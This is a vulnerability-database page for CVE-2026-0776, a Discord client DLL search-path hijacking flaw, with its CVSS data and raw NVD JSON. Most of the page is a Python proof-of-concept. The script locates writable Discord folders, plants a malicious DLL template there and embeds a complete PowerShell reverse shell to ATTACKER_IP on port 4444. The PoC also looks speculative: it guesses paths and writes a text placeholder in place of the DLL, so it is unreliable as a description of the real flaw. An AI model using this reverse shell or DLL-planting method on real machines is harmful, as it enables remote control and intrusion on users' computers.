Security Vulnerability Report
中文
CVE-2026-0776 CVSS 7.3 HIGH

CVE-2026-0776

Published: 2026-01-23 04:16:05
Last Modified: 2026-04-15 00:35:42

Description

Discord Client Uncontrolled Search Path Element Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Discord Client. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the discord_rpc module. The product loads a file from an unsecured location. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of a target user. Was ZDI-CAN-27057.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Discord Client < 最新版本
Discord Client (discord_rpc模块受影响的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0776 PoC - Discord Client DLL Hijacking # Target: Discord Client discord_rpc module # Attack Vector: Place malicious DLL in untrusted search path import os import shutil import ctypes from ctypes import wintypes def create_malicious_dll(): """ Generate malicious DLL that will be loaded by Discord Client. This DLL creates a reverse shell or executes arbitrary code in the context of the current user. """ dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{ if (fdwReason == DLL_PROCESS_ATTACH) {{ // Replace this with actual malicious payload // Example: Execute calc.exe for demonstration WinExec("cmd.exe /c calc.exe", SW_HIDE); // For actual exploitation, execute reverse shell: // system("powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""); }} return TRUE; }} ''' return dll_template def find_vulnerable_path(): """ Identify Discord installation paths where DLL can be placed. Discord may load DLLs from current working directory or user-writable locations before system directories. """ discord_paths = [ os.path.expanduser("~\\AppData\\Local\\Discord"), os.path.expanduser("~\\AppData\\Roaming\\discord"), os.path.expanduser("~\\Desktop\\Discord"), os.path.expanduser("~\\Downloads\\Discord") ] vulnerable_paths = [] for path in discord_paths: if os.path.exists(path): # Check if user has write permissions try: test_file = os.path.join(path, ".write_test") with open(test_file, 'w') as f: f.write("test") os.remove(test_file) vulnerable_paths.append(path) except: pass return vulnerable_paths def exploit(): """ Main exploitation routine. 1. Create malicious DLL 2. Place it in Discord DLL search path 3. Wait for user to launch Discord """ print("[*] CVE-2026-0776 Discord Client DLL Hijacking PoC") print("[*] Target: Discord Client - Uncontrolled Search Path Element") # Find vulnerable paths paths = find_vulnerable_path() if not paths: print("[-] No writable Discord directories found") return False print(f"[+] Found {len(paths)} writable paths") # Target DLL that Discord's rpc module attempts to load target_dll = "discord_rpc.dll" for path in paths: dll_path = os.path.join(path, target_dll) print(f"[*] Placing malicious DLL at: {dll_path}") # In real attack, compile and place actual malicious DLL # This PoC creates a placeholder with open(dll_path.replace('.dll', '_exploit_notes.txt'), 'w') as f: f.write("Malicious DLL should be compiled and placed here.\\n") f.write("When Discord loads this DLL, arbitrary code executes.\\n") f.write(create_malicious_dll()) print("[+] Malicious DLL placed. Wait for user to launch Discord.") print("[*] Upon Discord launch, code executes with user privileges.") return True if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0776", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:04.933", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discord Client Uncontrolled Search Path Element Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Discord Client. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the discord_rpc module. The product loads a file from an unsecured location. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of a target user. Was ZDI-CAN-27057."}, {"lang": "es", "value": "Vulnerabilidad de escalada de privilegios local por elemento de ruta de búsqueda no controlado en el Cliente de Discord. Esta vulnerabilidad permite a atacantes locales escalar privilegios en instalaciones afectadas del Cliente de Discord. Un atacante debe primero obtener la capacidad de ejecutar código con privilegios bajos en el sistema objetivo para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro del módulo discord_rpc. El producto carga un archivo desde una ubicación no segura. Un atacante puede aprovechar esta vulnerabilidad para escalar privilegios y ejecutar código arbitrario en el contexto de un usuario objetivo. Fue ZDI-CAN-27057."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-040/", "source": "[email protected]"}]}}